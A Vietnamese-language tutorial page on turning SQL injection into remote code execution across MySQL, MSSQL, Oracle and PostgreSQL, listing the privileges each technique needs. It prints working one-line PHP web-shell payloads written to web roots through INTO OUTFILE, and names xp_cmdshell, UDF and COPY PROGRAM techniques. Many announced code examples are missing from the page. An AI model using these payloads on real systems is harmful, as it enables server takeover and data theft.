Injection

MySQL

1. SELECT ... INTO OUTFILE

SELECT ... INTO OUTFILE writes the selected rows to a file. Column and line terminators can be specified to produce a specific output format. Tham khảo

Ví dụ:

-- Linux server
SELECT '<?php system($_GET["cmd"]); ?>' 
INTO OUTFILE '/var/www/html/shell.php'

-- Windows server  
SELECT '<?php system($_GET["cmd"]); ?>' 
INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php'

Điều kiện:

  • User (account mà web app sử dụng để kết nối đến database) phải có quyền FILE privilege

  • Biến secure_file_priv phải được cấu hình cho phép (empty hoặc trỏ đến thư mục có thể ghi) (MySQL >= 5.5.53 biến này mặc định là NULL --> disable import export operator, còn MySQL < 5.5.53 thì ngược lại) tham khảo

  • Biết đường dẫn thư mục web root của server

2. Sử dụng User Defined Functions (UDF)

User Defined Functions là cách để mở rộng chức năng của MySQL bằng cách tạo các hàm tùy chỉnh từ thư viện động (shared library). UDF cho phép thực thi mã native từ bên trong MySQL.

Ta có 2 cách để upload libc độc hại lên plugin của MySQL

Cách 1:

Ghi đè libc trực tiếp vào plugin của MySQL tại đường dẫn của nó (/usr/lib/mysql/plugin/) như bài sau:

Cách 2:

Ghi dữ liệu của file libc vào folder plugin của Mysql thông qua DUMPFILE

Tham khảo: https://www.exploit-db.com/docs/english/44139-mysql-udf-exploitation.pdf?rss

Ngoài ra thì có thể ghi nó qua các Query:

Cách thức để call function trong libc đó thì chúng đều giống nhau

Đầu tiên là tạo hàm

Cuối cùng là bước thực thi command:

Ngoài ra còn có LOAD_FILE, nó cũng tương tự như INTO DUMPFILEINTO OUTFILE

Microsoft SQL Server

1. Sử dụng xp_cmdshell để thực thi lệnh hệ thống

xp_cmdshell là một extended stored procedure cho phép thực thi lệnh shell Windows từ bên trong MSSQL. Kẻ tấn công có thể lợi dụng SQLi để kích hoạt nó, dẫn đến RCE với quyền hạn của tài khoản dịch vụ SQL Server (thường là NT AUTHORITY\SYSTEM hoặc NT SERVICE\MSSQLSERVER)

Điều kiện:

  • Tài khoản MSSQL phải có quyền sysadmin (như SA).

  • xp_cmdshell mặc định bị vô hiệu hóa từ SQL Server 2005 trở lên.

  • Cần kích hoạt qua sp_configure

Đầu tiên, ta cần kích hoạt xp_cmdshell qua SQLi

Sau đó run command:

Ngoài ra nó còn làm được nhiều kỹ thuật khác như: Drop File, Reverse Shell

2. Khai Thác Qua Các Stored Procedure Khác

Nguyên Lý Hoạt Động

  • sp_OACreate: Tạo instance của đối tượng OLE (như WScript.Shell), cho phép chạy lệnh hệ thống.

  • Kết hợp với sp_OAMethod để gọi phương thức như 'run' để thực thi lệnh.

Điều Kiện Thực Hiện

  • Cần quyền sysadmin để kích hoạt 'Ole Automation Procedures' qua sp_configure.

  • Chạy với quyền của tài khoản dịch vụ SQL Server (thường cao).

Oracle SQL

1. Tạo và Thực thi Java Stored Procedure

Java Stored Procedure (JSP) là phương thức Java được biên dịch và lưu trữ bên trong cơ sở dữ liệu Oracle. Oracle cho phép tạo Java stored procedure, qua đó có thể gọi các hàm Java để thực thi lệnh hệ thống với câu lệnh SQL

Điều kiện:

  • Tài khoản phải có quyền CREATE PROCEDURE và JAVA, hoặc đủ quyền DBA.

  • Oracle JVM (Java Virtual Machine) phải khả dụng trên database.

  • Trong môi trường production, quyền này thường chỉ có ở SYSDBA hoặc các user đặc biệt.

Ví dụ:

Đây là cách tạo hàm Java thực thi command cmd:

Tạo wrapper PL/SQL procedure để gọi hàm Java đó

Sau đó execute hàm run_os_cmd:

2. Lạm Dụng Các Gói PL/SQL Được Cấp Quyền

Oracle cung cấp một số package PL/SQL như UTL_FILE, UTL_HTTP, UTL_SMTP, DBMS_SCHEDULER cho phép thao tác với hệ thống file, gửi request HTTP, hoặc lập lịch tác vụ.

UTL_FILE

Ví dụ tạo file WebShell.

Cần user được cấp quyền ghi file.

UTL_HTTP hoặc UTL_INADDR

Ví dụ với Out-Of-Band

DBMS_SCHEDULER/DBMS_JOB

Ví dụ tạo shell script được lên lịch sẵn

Thường chỉ user quyền cao mới dùng được

PostgreSQL

Ta có 3 nhóm kỹ thuật thường gặp:

1. Ghi tệp/đọc tệp rồi import libc C

Điều kiện

  • Tài khoản superuser hoặc chỉ cần CREATE FUNCTION + quyền ghi thư mục đích (qua COPY/lo_import).

  • Phiên bản ≤ 13 dễ khai thác hơn do ít ràng buộc đường dẫn thư viện.

Đối với kỹ thuật này, đầu tiên ta cần ghi .so/.dll lên server bằng COPY ... TO hoặc thả trực tiếp vào bảng: pg_largeobject > lo_export()

Sau đó, export function sys_exec(nếu tồn tại) trong file libc:

Cuối cùng là call function sys_exec vừa tạo là xong

2. COPY ... PROGRAM

PostgreSQL 9.3 → 12.3

Điều kiện:

  • Superuser hoặc role được gán pg_execute_server_program (PostgreSQL 14+).

Ví dụ:

3. Privilege Escalation -> RCE

Ta thường gặp trở ngại khi RCE thì cần phải có acc superuser. Nhưng ta có thể làm theo hướng sau

  • Leo quyền bằng lỗ hổng CVE-2024-2338 để biến role thành superuser

Sau đó thực hiện cách (1) và (2)

Last updated

Was this helpful?